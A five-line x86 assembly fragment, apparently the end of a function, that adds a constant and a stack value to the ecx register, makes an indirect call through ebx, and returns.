add ecx, 0x46415975
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret